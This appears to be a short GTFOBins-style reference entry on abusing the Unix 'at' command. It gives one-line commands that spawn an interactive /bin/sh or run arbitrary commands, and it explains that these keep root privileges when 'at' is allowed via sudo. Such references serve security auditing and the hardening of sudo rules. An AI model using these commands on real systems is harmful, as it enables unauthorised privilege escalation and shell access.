Shell

This executable can spawn an interactive system shell.
  1. Commenttail is used to pause the terminal.
    This function can be performed by any unprivileged user.
    echo "/bin/sh <$(tty) >$(tty) 2>$(tty)" | at now; tail -f /dev/null
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    echo "/bin/sh <$(tty) >$(tty) 2>$(tty)" | at now; tail -f /dev/null

Command

This executable can run non-interactive system commands.
  1. This function can be performed by any unprivileged user.
    echo /path/to/command | at now
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    echo /path/to/command | at now
    OutputThe commands are executed but their output is hidden from the attacker.